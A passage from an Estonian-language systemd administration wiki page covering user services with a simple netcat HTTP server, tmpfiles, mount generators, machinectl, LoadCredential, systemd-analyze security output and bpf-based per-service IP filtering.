  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
